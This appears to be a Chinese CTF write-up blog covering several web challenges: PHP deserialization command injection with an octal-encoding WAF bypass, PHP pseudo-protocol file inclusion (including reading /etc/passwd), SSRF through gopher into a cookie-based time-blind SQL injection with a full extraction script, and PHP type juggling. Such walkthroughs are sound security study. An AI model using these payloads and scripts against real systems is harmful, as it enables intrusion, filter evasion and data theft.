unseping
<?php
highlight_file(__FILE__);
class ease{
private $method;
private $args;
//构造函数,实例化的时候先调用这里,初始化两个参数
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
//魔法函数,该函数会在类的一个对象被删除时自动调用
function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args); //回调函数,可以将把一个数组参数作为回调函数的参数 call_user_func_array($fun,$arr);
}
}
function ping($ip){
exec($ip, $result);
var_dump($result);
}
//匹配 | & ; 空格 / cat flag tac php ls 关键字返回str
function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}
//__wakeup(),执行unserialize()时,先会调用这个函数/
function __wakeup(){
foreach($this->args as $k => $v) { //键值分离
$this->args[$k] = $this->waf($v); //把键值分离出的值$v放到waf函数进行过滤后再赋值
}
}
}
$ctf=@$_POST['ctf'];
//$ctf base64解码,然后反序列化,并返回原始的对象结构。
@unserialize(base64_decode($ctf));
?>
poc
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a = new ease("ping",array('ls'));
$b = serialize($a);
echo $b;
echo'</br>';
echo base64_encode($b);
?>
//流程: 64解码,反序列化出一条实例化语句,调用了构造方法完成初始化,继续调用wakeup,将this->args中进行waf函数过滤。代码继续执行,结束之时,调用destruct函数,满足if 进入调用构造函数,间接调用ping函数中的exec。
/*
绕过:因为过滤了很多命令,这里查阅资料到一下绕过方式。
单引号、双引号、${Z}。例如ls 可以 'l""'
空格绕过:${IFS}
/绕过:$(printf "\154\163")ls命令,这个编码后可以拼接
"\154\163" 就是ls
把 cat$[IFS]flag_1s_here/xx.php 转成ascii 然后8进制 替换地方
最终$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")
然后就和以前一样就行了,payload
*/
str1 = "cat flag_1s_here/flag_831b69012c67b35f.php"
arr = []
for i in str1:
//对字符先转换为ASCII码,再转换为八进制
lett = oct(ord(i))
//这个主要是为了将八进制前面的0o替换掉
lett=str(lett).replace("0o","")
arr.append(lett)
sym = "\\"
//将所有的八进制组合,最终的结果第一个地方应该再添加一个\
ccc=sym.join(arr)
print(ccc)
Include
CTF常用伪协议总结_Asionm的博客-CSDN博客
Php伪协议:
-
file://协议。用来读取本地的文件,当用于文件读取函数时可以用。
常见检测是否存在漏洞写法:
xxx/?file=file:///etc/passwd
此协议不受allow_url_fopen,allow_url_include配置影响 -
php:input协议。此协议一般用于输入getshell的代码。- 在get处填上php://input如下
xxx.xxx/?cmd=php://input
然后用hackbar或者其他工具,postPHP代码进行检验,如
<?php>phpinfo()?>
此协议受allow_url_include配置影响 -
php://filter协议。此协议一般用来查看源码
一般用法如下
xxx.xxx/?file=php://filter/read=convert.base64-encode/resource=index.php
出来的是base64码需要进行解码
此协议不受allow_url_fopen,allow_url_include配置影响 -
data://协议。需要allow_url_fopen,allow_url_include均为on
这是一个输入流执行的协议,它可以向服务器输入数据,而服务器也会执行。常用代码如下:
http://127.0.0.1/include.php?file=data://text/plain,<?php phpinfo();?>
text/plain,表示的是文本
text/plain;base64, 若纯文本没用可用base64编码 -
dict://协议。与gopher协议一般都出现在ssrf协议中,用来探测端口的指纹信息。同时也可以用它来代替gopher协议进行ssrf攻击。
常见用法:
探测端口指纹
192.168.0.0/?url=dict://192.168.0.0:6379
以上为探测6379(redis)端口的开发
反弹shell
- gopher://协议。
- gopher://协议经常用来打内网的各种应用如mysql redis等。一般要用一些工具来进行构造payload 如gopherus等
- zip;//协议。
- compress.bzip2://协议
与zip协议类似不过要压缩成bzip2格式的 - compress.zlib://协议
与zip协议类似不过要压缩成zlib格式的 - phar://协议
转换过滤器
convert.过滤器支持convert.iconv. 格式,使用方法:
convert.iconv.
或
convert.iconv.
例如:
convert.iconv.UCS-4.UCS-4BE ---> 将指定的文件从UCS-4转换为UCS-4BE 输出
iconv支持的字符集有
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
--------------------测试--------------------
http://61.147.171.105:63847/?filename=ph1p://filter/re1ad=conver.bas1e64/resource=check.php 不提示过滤
http://61.147.171.105:63847/?filename=ph1p://filter/read=conver.base64/resource=check.php 提示过滤
我们发现read base等关键字被过滤了
用转换过滤器绕过
构造url,然后使用bp进行爆破
?filename=php://filter/convert.iconv.a.b/resource=check.php
由此发现filename过滤了base,be,encode,print,zlib,quoted,write,rot12,read,string
猜测flag是flag.php
fileinclude
1.
?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=php://input
2.
data://:自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。一般需要用到base64编码传输
?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=data://text/plain;base64,aGVsbG8gY3Rm
very_easy_sql
F12发现注释提示
提示不是内部用户无法访问
访问这个地址发现是个类似于远程访问的东西,猜测是ssrf实现内部访问登入然后注入之类的
http://61.147.171.105:59242/use.php?url=127.0.0.1%2Fuse.php
gopher构造请求
gopher介绍
gopher协议的格式:gopher://IP:port/_TCP/IP数据流
GET请求:
构造HTTP数据包,URL编码、替换回车换行为%0d%0a,HTTP包最后加%0d%0a代表消息结束
POST请求
POST与GET传参的区别:它有4个参数为必要参数
需要传递Content-Type,Content-Length,host,post的参数
Content-Length和POST的参数长度必须一致
登入请求是POST
构造POST
import urllib.parse
host = "127.0.0.1:80"
content = "uname=admin&passwd=admin"
content_length = len(content)
payload =\
"""POST /index.php HTTP/1.1
Host: {}
User-Agent: curl/7.43.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: {}
{}
""".format(host,content_length,content)
tmp = urllib.parse.quote(payload) #对payload中的特殊字符进行编码,中文编码
#print(tmp)
new = tmp.replace('%0A','%0D%0A') #CRLF(换行)漏洞,HTTP包最后加%0d%0a代表消息结束
#print(new)
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)# 对新增的部分继续编码
print(result)
返回包里set-cookie字段有个很显眼的东西
返回的是设置cookie为admin
这里就猜测应该是cookie注入,于是在cookie在这里做尝试.
我大概的猜测是,gopher携带的数据流从服务器发起请求index.php,数据流中携带的cookie:thisxxxx被index.php的requset接收到,并且查询产生了注入。
构造POC
poc格式1 :admin') and if((length(database())>4),sleep(5),1)# //构造思路admin查到然后继续if函数
poc格式2 :') or if(1=1,sleep(5),1)# //这个不用写admin,不过这个条件成立之后,反映时间远超sleep的时间,不成立倒是秒反映
poc格式3 :') union select 1,2,if(1=1,sleep(10),1)# //这个是联合查询,前面查成功失败无所有,后面继续查询,但是我不了解为啥是select 三个字段,我猜是试出来的,时间盲注判断字段数我不知道,也没看到啥资料写。
//构造闭合
admin' and if((length(database())>4),sleep(5),1)#
admin" and if((length(database())>4),sleep(5),1)#
admin') and if((length(database())>4),sleep(5),1)#
') union select 1,2,if(1=1,sleep(5),1)# -----base64----->
JykgdW5pb24gc2VsZWN0IDEsMixpZigxPTEsc2xlZXAoMTApLDEpIw==
import urllib.parse
host = "127.0.0.1:80"
cookie="this_is_your_cookie=JykgdW5pb24gc2VsZWN0IDEsMixpZigxPTEsc2xlZXAoMTApLDEpIw=="
test =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}
""".format(host,cookie)
tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)
gopher://127.0.0.1:80/_GET%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AConnection%253A%2520close%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250ACookie%253Athis_is_your_cookie%253DJykgdW5pb24gc2VsZWN0IDEsMixpZigxPTEsc2xlZXAoMTApLDEpIw%253D%253D%250D%250A%250D%250A
存在盲注
payload脚本
import urllib.parse
import requests
import time
import base64
url="http://61.147.171.105:49915/use.php?url="
flag=""
for pos in range(1,50): #从1-49
for i in range(33,127): #从ascii 33-127
poc="') union select 1,2,if(ascii( substr((select * from flag),"+str(pos)+",1) )="+str(i)+",sleep(2),1) # " #mysql中的start是从1开始的
bs = str(base64.b64encode(poc.encode("utf-8")), "utf-8")
final_poc="gopher://127.0.0.1:80/_GET%20%2findex.php%20HTTP%2f1.1%250d%250aHost%3A%20localhost%3A80%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250aCookie%3A%20this%5Fis%5Fyour%5Fcookie%3D"+bs+"%3B%250d%250a"
t1=time.time()
res=requests.get(url+final_poc)
t2=time.time()
if(t2-t1>2):
flag+=chr(i)
print(flag)
break
print(flag)
fileinclude
<html>
<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /></head>
<br />
<b>Notice</b>: Undefined index: language in <b>/var/www/html/index.php</b> on line <b>9</b><br />
Please choose the language you want : English or Chinese
<h1>Hi,EveryOne,The flag is in flag.php</h1><html>
<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /></head>
<?php
if( !ini_get('display_errors') ) { //指定配置选项的值。这个选项会在脚本运行时保持新的值,并在脚本结束时恢复
ini_set('display_errors', 'On');
}
error_reporting(E_ALL); //error_reporting() 函数规定报告哪个错误。E_ALL 所有的错误和警告的级别
$lan = $_COOKIE['language'];
//如果没有$lan就默认设置cookie,然后包含english.php,否则把$lan拼接包含。
if(!$lan)
{
@setcookie("language","english");
@include("english.php");
}
else
{
@include($lan.".php");
}
$x=file_get_contents('index.php');
echo $x;
?>
</html></html>
通过php伪协议读取去flag.php,然后被include出来
这里是
easyphp
<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
$a = $_GET['a'];
$b = $_GET['b'];
//获取$a的整数值,要求a>6000000并且长度小于3 ?a=9e+6&b=931858154640
//截取md5($b) -6,6 和 8b184b 比较
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
$key1 = 1;
}else{
die("Emmm...再想想");
}
}else{
die("Emmm...");
}
//{"m":"9999abc","n":[["666"],0]}
$c=(array)json_decode(@$_GET['c']); //jsondecode$c 变成数组格式
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){ //$c是数组,$c["m]不是数字 , $c["m] >2022 9999abc 强制转换成9999
if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){ //$c["n"]是数组,$c["n"]数量 = 2 , $c["n"][0] 是数组。
$d = array_search("DGGJ", $c["n"]); //在数组$c["n"]搜索DGGJ。array_search里面DGGJ和数字比较的时候会强制转换成0
$d === false?die("no..."):NULL; //如果$d是假,则结束
foreach($c["n"] as $key=>$val){ //数组$c["n"]键值分离,然后 如果有个值是DGGJ,结束
$val==="DGGJ"?die("no......"):NULL;
}
$key2 = 1;
}else{
die("no hack");
}
}else{
die("no");
}
//满足key1 != 0 and key2 !=0
if($key1 && $key2){
include "Hgfks.php";
echo "You're right"."\n";
echo $flag;
}
?> Emmm...
easyupload
靶机的基本信息
Nginx,这个的话可以考虑.user.ini
测试过滤内容
.php不能直接上传,过滤为后端过滤后缀。更改Content-Type: image/jpeg也不行(Your file looks wicked)
检测Content-Type内容
常见的媒体格式类型如下:
text/html : HTML格式
text/plain :纯文本格式
text/xml : XML格式
image/gif :gif图片格式
image/jpeg :jpg图片格式
image/png:png图片格式
以application开头的媒体格式类型:
application/xhtml+xml :XHTML格式
application/xml: XML数据格式
application/atom+xml :Atom XML聚合格式
application/json: JSON数据格式
application/pdf:pdf格式
application/msword : Word文档格式
application/octet-stream : 二进制流数据(如常见的文件下载)
application/x-www-form-urlencoded :
本文暂时没有评论,来添加一个吧(●'◡'●)